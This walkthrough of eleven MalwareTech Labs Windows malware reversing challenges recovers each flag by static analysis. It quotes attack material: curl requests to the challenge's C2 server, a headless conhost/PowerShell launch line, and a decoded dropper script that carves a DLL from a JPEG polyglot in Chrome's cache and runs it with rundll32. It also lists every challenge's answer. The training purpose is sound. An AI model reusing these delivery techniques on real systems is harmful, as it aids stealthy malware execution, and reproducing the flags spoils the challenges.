MalwareTech Labs — Windows Malware RE Challenge Series
Eleven PE32+ x86-64 Windows binaries, each hiding a flag behind a different
obfuscation layer. Pure static analysis throughout — no execution, no debugger.
The series covers string concealment in .rdata, on the stack, and in Win32
resources; C2 protocol reversing; three shellcode decryption layers (ROL5, XOR with
DOS-stub key derivation, PEB walk + SHA1 + RC4); a 3-opcode bytecode VM; and a
multi-stage dropper that harvests Chrome's cache for a JPEG polyglot DLL decrypted
with AES-256-CBC via the Windows legacy Crypto API.
Overview
MalwareTech Labs is a free reverse engineering training platform created by Marcus Hutchins — the researcher who sinkholed the WannaCry kill switch domain in 2017 and is widely known as one of the more prolific Windows malware analysts. The platform's premise is straightforward: each challenge is a purpose-built PE binary that isolates one technique commonly found in real Windows malware. No infrastructure, no virtual machine required — all the logic to reconstruct the flag lives inside the executable itself.
The challenges are organised into progressively harder tiers within each category. Strings teaches three different methods for hiding a string in a PE without making it trivially findable by strings(1). C2 walks through three generations of command-and-control protocol complexity. Shellcode covers three patterns that real shellcode loaders use to stay position-independent and import-free. VM introduces a custom bytecode interpreter. Multistage is a capstone: a realistic multi-component dropper chain.
Every challenge in this walkthrough is solved by pure static analysis in Binary Ninja — no execution, no debugger, no dynamic instrumentation. This is a deliberate constraint. The class of binary you most want to be able to read without running it is exactly this one: purpose-built, possibly targeted, definitely not something you want to execute on a real machine without understanding it first. The static-only discipline is the point.
What each category teaches:
- Strings (3): cross-reference analysis to cut through noise, recognising stack-string construction patterns, navigating PE Win32 string resources
- C2 (3): protocol reconstruction from WinINet calls, session key exchange parsing, encrypted payload delivery via download-and-decrypt chains
- Shellcode (3): ROL-encrypted self-decrypting payloads, IAT bypass with key hidden in the DOS stub, position-independent API resolution via PEB walk and API hash comparison
- VM (1): reading and emulating a custom 3-opcode bytecode interpreter entirely in the disassembler
- Multistage (1): tracing a multi-stage dropper from LOLBIN launch through Chrome cache harvesting and JPEG polyglot payload decryption with the Windows legacy Crypto API
Strings 1 — Needle in a Haystack
Import table: md5_hash, MessageBoxA, ExitProcess. No crypto, no network. The flag lives in .rdata as a plaintext string — the challenge is finding which one.
The binary embeds several hundred fake flags in .rdata in the same FLAG{WORD-WORD-WORD-WORD} format, all visually indistinguishable. Running strings or the Strings view returns the whole table with no obvious winner. The solution is cross-reference analysis: _start has four instructions, and the one pointer that gets passed to md5_hash is data_14001B560. Navigate there:
14001b560 "FLAG{NEEDLE-IN-A-HAYSTACK-FOUND}" ← only entry with an XREF from code
Every other entry has zero cross-references. The flag is the one pointer touched by code, not the one that looks different.
Flag: FLAG{NEEDLE-IN-A-HAYSTACK-FOUND}
Strings 2 — Stack Strings
Same import table. The Strings view returns nothing useful — no FLAG{...} pattern visible anywhere in the PE. The flag is built on the stack at runtime through a sequence of mov byte ptr [rsp+N], val instructions, scattered across the instruction stream as immediate operands. The decompiler surfaces two adjacent assignments:
char var_30 = 'F';
__builtin_strncpy(&var_2f, "LAG{STACK-STRINGS-ARE-BUILT-AT-RUNTIME}", 39);
md5_hash(&var_30);
var_30 is at rsp-0x30 and var_2f is at rsp-0x2f — one byte apart. md5_hash(&var_30) reads forward from the 'F' character and encounters the complete string "FLAG{STACK-STRINGS-ARE-BUILT-AT-RUNTIME}" terminated by strncpy's null byte. The flag never exists as a contiguous sequence in the PE file.
Flag: FLAG{STACK-STRINGS-ARE-BUILT-AT-RUNTIME}
Strings 3 — Resource Strings
LoadStringA appears in the import table — that's the tell. The flag is stored in the PE's Win32 string resource section (.rsrc), not in .rdata or on the stack. The decompiled _start calls:
LoadStringA(nullptr, 0x110, &buffer, 0x3ff);
uID = 0x110 = 272. Win32 string resources group 16 IDs per table: table number = floor(272 / 16) + 1 = 18. Open String Table 18 in Resource Hacker — the binary populates it with fake flags, and ID 272 (index 0) is the one referenced by code:
272, "FLAG{RESOURCES-ARE-POPULAR-FOR-MALWARE}"
Flag: FLAG{RESOURCES-ARE-POPULAR-FOR-MALWARE}
C2-1 — Simple Downloader
URLDownloadToFileA is in the import table — a high-level WinINet wrapper that downloads a URL straight to a file on disk. The stack string in _start is the URL:
__builtin_memcpy(&url_buf, "https://malware.vip/1/get_flag", 31);
The binary downloads the response to %TEMP%\flag.txt, opens it with ReadFile, and passes the contents to md5_hash. The flag is whatever the server returns — replicating the request is enough:
curl https://malware.vip/1/get_flag
# FLAG{JUST-A-SIMPLE-DOWNLOADER}
Flag: FLAG{JUST-A-SIMPLE-DOWNLOADER}
C2-2 — HTTP C2 with Session Key Exchange
The binary implements a two-phase protocol. The WinINet helper sub_140001860 opens sessions with User-Agent "MDropper" and is used for both requests. The _start function:
- Phase 1: GET
https://malware.vip/2/register→ server returnskey=7wtv1wszovmcbp5 - Extracts the key with
StrStrA(&response, "key=")— and then checks that the substring starts at byte 0 of the response (key_offset != 0is an error). The server must respond with exactly"key=<value>"with no leading bytes, otherwise the binary returns0xffffffff. - Phase 2: GET
https://malware.vip/2/get_flag?key=7wtv1wszovmcbp5→ server returns the flag.
curl https://malware.vip/2/register
# key=7wtv1wszovmcbp5
curl "https://malware.vip/2/get_flag?key=7wtv1wszovmcbp5"
# FLAG{HTTP-IS-COMMON-FOR-C2}
Flag: FLAG{HTTP-IS-COMMON-FOR-C2}
C2-3 — Multi-Stage Dropper with Encrypted Payload
Three stages: download an encrypted blob with a specific User-Agent, XOR-decrypt it in memory, write it to disk as photo.jpg, load it as a DLL, call the GetFlag export.
Stage 1 — User-Agent gate + blob download
The same http_get helper from C2-2 (UA "MDropper") fetches https://malware.vip/3/get_payload. Without the correct agent the server returns Unauthorized: invalid useragent. With it, 17,444 bytes arrive.
Stage 2 — Blob format and XOR decryption
Tracing the heap pointer returned by http_get through the code reveals the blob layout:
┌──────────────┬────────────────────────┬──────────────────────────────┐
│ [0:4] │ [4:36] │ [36 : 36 + payload_size] │
│ payload_size │ XOR key (32 bytes) │ encrypted PE payload │
│ uint32 LE │ per-request random │ decrypts to valid DLL │
└──────────────┴────────────────────────┴──────────────────────────────┘
The key is per-request — server generates a fresh 32-byte key for each download, embedded in the blob alongside the ciphertext. The XOR decryptor sub_140001f80 applies a repeating-key XOR: dst[i] ^= key[i % 32]. After decryption, the code validates the MZ header before loading.
Stage 3 — DLL load and export call
The decrypted PE is saved as %TEMP%\photo.jpg (LoadLibraryA ignores the extension), loaded, and its GetFlag export is called via GetProcAddress. The DLL's GetFlag function is two instructions — a lea rax, [rel str_flag] + ret returning a pointer to the flag string in .rdata. The download and decrypt chain was the entire obfuscation.
import struct
data = open("photo.jpg", "rb").read()
size = struct.unpack_from("<I", data, 0)[0]
key = data[4:36]
enc = data[36:36 + size]
decrypted = bytes(b ^ key[i % 32] for i, b in enumerate(enc))
assert decrypted[:2] == b"MZ"
open("payload.dll", "wb").write(decrypted)
Flag: FLAG{MALWARE-CAN-HAVE-MULTIPLE-STAGES}
Shellcode 1 — ROL5 Encrypted Shellcode
VirtualAlloc + HeapAlloc, no LoadLibraryA. A 15-byte shellcode is copied to RWX memory and called with a pointer to a { char* data; uint64_t len; } struct pointing at the encrypted flag in .rdata.
The shellcode disassembles cleanly in Binary Ninja:
mov rdi, qword [rcx] ; rdi = data pointer
mov rcx, qword [rcx+0x8] ; rcx = length (loop counter)
rol byte [rdi+rcx-0x1], 5 ; ROL5 on current byte (backwards)
loop 0x140003267
retn
ROL5 is inverted by ROR5 = ROL3: ((b >> 5) | (b << 3)) & 0xFF. The encrypted flag is 38 bytes at 0x140003238:
encrypted = bytes([
0x32,0x62,0x0a,0x3a, 0xdb,0x9a,0x42,0x2a,
0x62,0x62,0x1a,0x7a, 0x22,0x2a,0x69,0x4a,
0x9a,0x72,0xa2,0x69, 0x52,0xaa,0x9a,0xa2,
0x7a,0x32,0x92,0x68, 0x69,0x2a,0xc2,0x82,
0x62,0x7a,0x4a,0xa2, 0x9a,0xeb,
])
flag = bytes(((b >> 5) | (b << 3)) & 0xFF for b in encrypted)
print(flag.decode()) # FLAG{SHELLCODE-ISNT-JUST-FOR-EXPLOITS}
Flag: FLAG{SHELLCODE-ISNT-JUST-FOR-EXPLOITS}
Shellcode 2 — XOR Shellcode, IAT Bypass, DOS-Stub Key
LoadLibraryA and GetProcAddress are in the host's import table — but the shellcode can't use them directly (no IAT). Instead entry builds a 32-byte context struct on the stack, populates the first two fields with the resolved function pointers, and passes it to the shellcode:
typedef struct {
void* pLoadLibraryA;
void* pGetProcAddress;
char* data; // pointer to 36-byte encrypted flag in .rdata
int data_size;
} shellcode_ctx;
The 640-byte shellcode is XOR-encrypted with a 32-byte key ("X&8PEMh4e,T^a.Yu%Q-jVdD$g<)!_ck@", null-terminated at index 32 — the null-scan strlen loop gives the key length). After decryption, the shellcode has four functions:
pe_base_finder — locating the host PE without imports
Takes the return address from the stack, aligns it to 0x10000 (Windows maps PEs at 64 KB boundaries), then steps backward 64 KB at a time until it finds the MZ signature:
mov rax, qword [rsp+0x50] ; return address inside Shellcode2.exe_
and rax, 0xffffffffffff0000 ; align to 64KB
cmp word [rax], 0x5a4d ; MZ?
je found
sub rax, 0x10000
jmp loop
DOS-stub key derivation
Once image_base is known, the shellcode reads 36 bytes starting at image_base + 0x4E as the XOR key. Offset 0x4E is the start of the DOS stub string in every MSVC-compiled PE:
"This program cannot be run in DOS mode.\r\r\n$"
XOR-ing the 36-byte encrypted flag with this key recovers the plaintext. The shellcode derives its key from a deterministic, well-known offset in the host binary — no hardcoded key anywhere.
flag_enc = bytes([
0x12,0x24,0x28,0x34,0x5b,0x23,0x26,0x20,
0x35,0x37,0x4c,0x28,0x76,0x26,0x33,0x37,
0x3a,0x27,0x3d,0x6e,0x25,0x48,0x6f,0x3c,
0x58,0x3a,0x68,0x2c,0x43,0x73,0x10,0x0e,
0x10,0x6b,0x10,0x6f,
])
dos_key = b"This program cannot be run in DOS mode.\r\r\n$\x00"
flag = bytes(flag_enc[i] ^ dos_key[i] for i in range(36))
print(flag.decode()) # FLAG{STORE-EVERYTHING-ON-THE-STACK}
Flag: FLAG{STORE-EVERYTHING-ON-THE-STACK}
Shellcode 3 — PEB Walk, SHA1 by Ordinal, RC4
The most complex challenge in the series. Two layers of encryption, position-independent API resolution through PEB walking, SHA1 key derivation using undocumented ntdll exports resolved by ordinal, and RC4 stream cipher.
Layer 1 — XOR decrypt the shellcode
The 1184-byte shellcode is XOR-encrypted with key "FaW7leqd9RKSluQHnwRVn" (21 bytes, repeating). After decryption, Binary Ninja identifies four functions at offsets 0x000, 0x1b0, 0x290, 0x390.
Layer 2 — PEB walk to find ntdll
The entry function opens with a chain of three pointer dereferences:
gs:0x60 → TEB.ProcessEnvironmentBlock (PEB*)
*(PEB + 0x18) → PEB.Ldr (PEB_LDR_DATA*)
*(Ldr + 0x10) → InLoadOrderModuleList.Flink
→ first LDR_DATA_TABLE_ENTRY = host exe
*(exe_entry + 0x00) → Flink to next entry = ntdll
*(ntdll_entry + 0x30) → ntdll.DllBase
This is the canonical position-independent ntdll locator — works on every x64 Windows since Vista, requires no imports and no hardcoded addresses.
SHA1 by ordinal — resolving ntdll's internal SHA1
The function at offset 0x1b0 walks ntdll's PE export table directly. For PE32+, DataDirectory[0] (the export directory RVA) is at nt_headers + 0x88 (0x18 OptionalHeader offset + 0x70 DataDirectory offset). ntdll's Base = 1, so ordinal index = ordinal − 1:
| Ordinal | Index | Export name | Role |
|---------|-------|----------------|-------------------------------|
| 9 | 8 | A_SHAFinal | Finalize SHA1, write 20 bytes |
| 10 | 9 | A_SHAInit | Initialize SHA1 context |
| 11 | 10 | A_SHAUpdate | Process input blocks |
These are undocumented ntdll exports present on all x64 Windows versions. The shellcode resolves them by ordinal to avoid any string comparison in the name table.
SHA1 input and RC4 decryption
The SHA1 input is a stack string visible in the decrypted shellcode: "FLAG{IS-THIS-REAL-LIFE}". Submitting this as the flag returns "Incorrect" — it is the SHA1 input, not the output. The actual flag is what you get after RC4-decrypting the 30-byte ciphertext at 0x140003000 with the SHA1 hash as the key:
import hashlib
flag_data = bytes([
0x75,0xfc,0x53,0x3c,0xfa,0x79,0x42,0xe3,
0xf1,0x34,0xb5,0x5b,0x0f,0xf9,0xc1,0x06,
0xa7,0xc7,0xcf,0x7d,0x32,0x8e,0xf7,0x84,
0x63,0x99,0x0e,0xbc,0xb8,0x30,
])
sha1_key = hashlib.sha1(b"FLAG{IS-THIS-REAL-LIFE}").digest()
def rc4(key, data):
S = list(range(256)); j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0; out = []
for byte in data:
i = (i+1)%256; j = (j+S[i])%256
S[i],S[j] = S[j],S[i]
out.append(byte ^ S[(S[i]+S[j])%256])
return bytes(out)
print(rc4(sha1_key, flag_data).decode())
# FLAG{THE-PEB-HAS-ALL-YOU-NEED}
"FLAG{IS-THIS-REAL-LIFE}" is a deliberate red herring — it looks like the flag but is only the SHA1 input. The real flag comes out only after the full RC4 decryption.
Flag: FLAG{THE-PEB-HAS-ALL-YOU-NEED}
VM 1 — Custom 3-Opcode Bytecode VM
HeapAlloc without VirtualAlloc — the data is not shellcode. A 507-byte blob is copied from .rdata to a heap allocation, and vm_run() interprets it. The layout:
Offset 0–254 (255 bytes): DATA REGION — VM writes the flag here during execution
Offset 255–506 (252 bytes): BYTECODE — instruction stream, 3 bytes per instruction
The fetch-decode-execute loop advances the instruction pointer by 3 bytes each iteration. Three opcodes:
| Opcode | Name | Operation |
|--------|------|--------------------|
| 1 | SET | data[b] = c |
| 2 | LOAD | aux = data[b] |
| 3 | XOR | data[b] ^= aux |
| 4+ | HALT | return 0 |
aux is a single global byte accumulator. The bytecode runs 32 SET instructions that scatter encrypted flag bytes into the data region, then 32 LOAD/XOR pairs that XOR each byte with a key byte pre-set in the blob, placing the null terminator and halting with opcode 4. Emulating the VM recovers the flag:
flag_data = bytearray(blob)
aux = 0
def execute(a, b, c):
global aux
if a == 1: flag_data[b] = c & 0xFF
elif a == 2: aux = flag_data[b]
elif a == 3: flag_data[b] ^= aux
else: return 0
return 1
idx = 0
while True:
a,b,c = flag_data[255+idx], flag_data[256+idx], flag_data[257+idx]
idx += 3
if not execute(a, b, c): break
print(flag_data[:flag_data.index(0)].decode())
# FLAG{VMS-ARE-FOR-MALWARE}
Flag: FLAG{VMS-ARE-FOR-MALWARE}
Multistage 1 — LOLBIN + Chrome Cache + JPEG Polyglot + AES-256-CBC
The challenge presents an HTML lure page. The whole delivery chain: HTML → encoded PowerShell → Chrome cache harvest → JPEG polyglot DLL → AES-256-CBC decryption.
Stage 1 — The LOLBIN launch
The HTML source contains a command launched via a script tag:
conhost.exe --headless powershell.exe -EncodedCommand JABvAD0AIgAk... -ExecutionPolicy \\NetworkShare\Finance\Reports\EmployeeSalaries.txt
conhost.exe --headless is a LOLBIN wrapper — it hosts the child process with no visible console window, bypassing detections that watch for a PowerShell window appearing. The -ExecutionPolicy argument followed by a UNC path is a decoy with no effect on execution. The entire payload is in -EncodedCommand.
Stage 2 — Decoding the PowerShell script
PowerShell -EncodedCommand is always UTF-16LE base64:
import base64
print(base64.b64decode(b64).decode("utf-16-le"))
Decoded script:
$o="$env:temp\image-assets\";
$c="$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache\Cache_Data\";
mkdir -Force $o > $null;
cp "$c\*" $o;
Get-ChildItem $o |% {
$f = [System.IO.File]::ReadAllBytes($_.FullName);
$d = [System.Text.Encoding]::Default.GetString($f);
$m = [regex]::Match($d, "(?s)13371337(.*?)13371337");
if ($m.Success) {
$p = [System.Text.Encoding]::Default.GetBytes($m.Groups[1].Value);
[System.IO.File]::WriteAllBytes("$o\folder-icon.jpg", $p);
rundll32.exe "$o\folder-icon.jpg", run;
break;
}
}
The script copies Chrome's entire cache to %TEMP%\image-assets\, then scans each cached file for the pattern 13371337(payload)13371337. When found, it extracts the bytes between the two markers, saves them as folder-icon.jpg, and calls the run export via rundll32. The script never downloads anything — the lure page must have loaded a resource that Chrome cached, and that resource is the polyglot file.
Stage 3 — The JPEG polyglot
The challenge serves folder-icon.jpg, which passes file inspection as a valid JFIF image. The raw bytes reveal the structure:
data = open("folder-icon.jpg", "rb").read()
m1 = data.find(b"13371337") # offset 0x5b (91)
m2 = data.find(b"13371337", m1 + 8) # offset 0x2463 (9315)
print(data[m1+8 : m1+10]) # b'MZ'
[0x00–0x5a] JPEG JFIF + Exif header (description: "Definitely Not Malware")
[0x5b–0x62] "13371337" ← start marker
[0x63–0x2462] PE/DLL ← 9216 bytes, MZ header at 0x63
[0x2463–0x246a] "13371337" ← end marker
The file is valid JPEG at the start (image viewers render it) with a PE/DLL embedded between the two magic markers. The PowerShell regex extracts exactly the bytes between the markers, discarding the JPEG wrapper.
from pathlib import Path
data = Path("folder-icon.jpg").read_bytes()
m1 = data.find(b"13371337")
m2 = data.find(b"13371337", m1 + 8)
dll = data[m1 + 8 : m2]
assert dll[:2] == b"MZ"
Path("payload.dll").write_bytes(dll)
Stage 4 — Static analysis of the DLL
The extracted DLL is 64-bit with one relevant export: run — exactly what rundll32 calls. The function builds the key, IV, and ciphertext entirely on the stack using individual mov byte ptr [rsp+N], val instructions (the stack string technique). The decompiler presents this as a series of __builtin_memcpy / __builtin_strncpy calls to adjacent stack addresses. They are fragments of a single 96-byte buffer:
Buffer layout after all stack writes:
+0x00..+0x0F IV (16 bytes, AES-256-CBC initialization vector)
+0x10..+0x2F Key (32 bytes, AES-256 key)
+0x30..+0x5F Ciphertext (48 bytes, 3 AES blocks)
The naming convention in Binary Ninja encodes the stack offset directly: var_498 is at rsp+0x30, var_488 is 16 bytes later at rsp+0x40, var_468 is 48 bytes later at rsp+0x60. The call to aes256cbc_decrypt (a wrapper around advapi32's legacy Crypto API) passes r9=IV, r8=Key, rcx=ciphertext.
Inside aes256cbc_decrypt, the function builds stack strings for "advapi32.dll" and six function names, resolves them at runtime via LoadLibraryA + GetProcAddress, then sequences: CryptAcquireContextA → CryptImportKey (PLAINTEXTKEYBLOB, aiKeyAlg=0x6610=CALG_AES_256, cbKeySize=0x20) → CryptSetKeyParam(KP_IV=1) → CryptDecrypt. The algorithm is AES-256-CBC.
Stage 5 — Decryption
from Crypto.Cipher import AES
buf = bytearray(0x60)
buf[0x00:0x13] = bytes([
0xeb,0xdd,0x83,0xb7,0xc3,0xf8,0xbc,0x8e,
0x49,0xec,0x17,0xa2,0xa7,0x64,0x4e,0x1b,
0x15,0xed,0xef,
])
buf[0x13:0x18] = b"Mb:P,"
buf[0x18:0x5d] = bytes([
0xc9,0xc9,0x83,0x8b,0xd5,0x82,0x51,0xdd,
0x16,0x87,0x55,0x97,0x25,0x7b,0xc8,0x8d,
0x5e,0x29,0xa9,0xf0,0x6b,0xa4,0x60,0xcd,
0x3a,0xf6,0x4a,0xfe,0xf2,0x5b,0x8d,0x18,
0x80,0x80,0xf2,0xb6,0x64,0x38,0xa1,0xe2,
0x87,0x48,0x62,0xc7,0x5a,0xe7,0xfd,0x3b,
0x62,0x62,0xb4,0x7c,0xa9,0x78,0x3d,0x3b,
0xd3,0x62,0xbd,0xfa,0x5a,0x85,0x0f,0x28,
0x35,0xd3,0x44,0xdd,0xef,
])
buf[0x5d] = 0x5a; buf[0x5e] = 0x40; buf[0x5f] = 0x5a
iv = bytes(buf[0x00:0x10])
key = bytes(buf[0x10:0x30])
ciphertext = bytes(buf[0x30:0x60])
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext)
pad = pt[-1]
if 1 <= pad <= 16 and all(b == pad for b in pt[-pad:]):
pt = pt[:-pad]
print(pt.rstrip(b"\x00").decode())
# FLAG{WHO-NEEDS-A-DOWNLOADER}
run computes MD5(decrypted_flag) via an internal md5_to_hex function and shows only the hex digest in the MessageBox — confirming execution without exposing the flag to memory scanners watching MessageBox calls.
Flag: FLAG{WHO-NEEDS-A-DOWNLOADER}